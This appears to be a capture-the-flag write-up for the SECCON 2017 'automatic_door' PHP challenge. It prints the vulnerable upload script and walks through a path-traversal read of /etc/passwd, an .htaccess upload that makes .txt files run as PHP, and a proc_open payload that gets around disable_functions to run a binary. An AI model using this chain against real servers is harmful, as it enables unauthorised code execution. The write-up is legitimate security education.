Description

automatic_door Seccon2017 [500]

Get shell, and execute /flag_x

http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/

Skip Code

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?php
$fail = str_repeat('fail', 100);
$d = 'sandbox/FAIL_' . sha1($_SERVER['REMOTE_ADDR'] . '95aca804b832f4c329d8c0e7c789b02b') . '/';
@mkdir($d);

function read_ok($f)
{
    return strstr($f, 'FAIL_') === FALSE &&
        strstr($f, '/proc/') === FALSE &&
        strstr($f, '/dev/') === FALSE;
}

function write_ok($f)
{
    return strstr($f, '..') === FALSE && read_ok($f);
}

function GetDirectorySize($path)
{
    $bytestotal = 0;
    $path = realpath($path);
    if ($path !== false && $path != '' && file_exists($path)) {
        foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path, FilesystemIterator::SKIP_DOTS)) as $object) {
            $bytestotal += $object->getSize();
        }
    }
    return $bytestotal;
}

if (isset($_GET['action'])) {
    if ($_GET['action'] == 'pwd') {
        echo $d;

        exit;
    }
    else if ($_GET['action'] == 'phpinfo') {
        phpinfo();

        exit;
    }
    else if ($_GET['action'] == 'read') {
        $f = $_GET['filename'];
        if (read_ok($f))
            echo file_get_contents($d . $f);
        else
            echo $fail;

        exit;
    } else if ($_GET['action'] == 'write') {
        $f = $_GET['filename'];
        if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) {
            print_r($_FILES['file']);
            print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f));
        }
        else
            echo $fail;

        if (GetDirectorySize($d) > 10000) {
            rmdir($d);
        }

        exit;
    } else if ($_GET['action'] == 'delete') {
        $f = $_GET['filename'];
        if (write_ok($f))
            print_r(unlink($d . $f));
        else
            echo $fail;

        exit;
    }
}

highlight_file(__FILE__);

Solution

First we see that there are different actions (pwd, phpinfo, read, write and delete). I checked the phpinfo page first to get some more information.

1
?action=phpinfo

Important stuff i noticed:

  • php7
  • apache2 (.htaccess might be possible)
  • disable_functions:
    • […], pcntl_exec,exec,passthru,popen,shell_exec,system (proc_open not in list!!!)

I also gathered some infos with the read action as it was possible to read any file on the system.

1
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=  read&filename=../../../../../../../../../../etc/passwd

The first thing that came to mind was to upload a .htaccess file and change php.ini settings or enable other file-extensions to be run as php.

So lets write a .htaccess file:

1
http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=  write&filename=.htaccess

I uploaded the file by adding this form to the page and then used burp afterwards.

1
2
3
4
<form action="" method=post enctype=multipart/form-data>
    <input type=file name=file>
    <input type=submit value=Upload>
</form>

.htaccess:

1
AddType application/x-httpd-php .txt

Next i used proc_open, as it was not disabled, to run the /flag_x executable to get the flag.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
test
<?php
$cwd='';
$descriptorspec = array(
    0 => array("pipe", "r"),
    1 => array("pipe", "w"),
    2 => array("file", "/tmp/error-output.txt", "a") );

$process = proc_open("/flag_x", $descriptorspec, $pipes, $cwd);

echo stream_get_contents($pipes[1]);
fclose($pipes[1]);


?>
test

Now we just need to go to the file and it will be executed with php. I used the pwd action to get my sandbox url.

1
/0b503d0caf712352fc200bc5332c4f95/sandbox/FAIL_aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/b.txt

And we get the flag! ๐Ÿ˜Š

1
2
3
test
SECCON{f6c085facd0897b47f5f1d7687030ae7}
test

The challange was nice but seemed a bit to easy for 500 points. Still overall a nice CTF.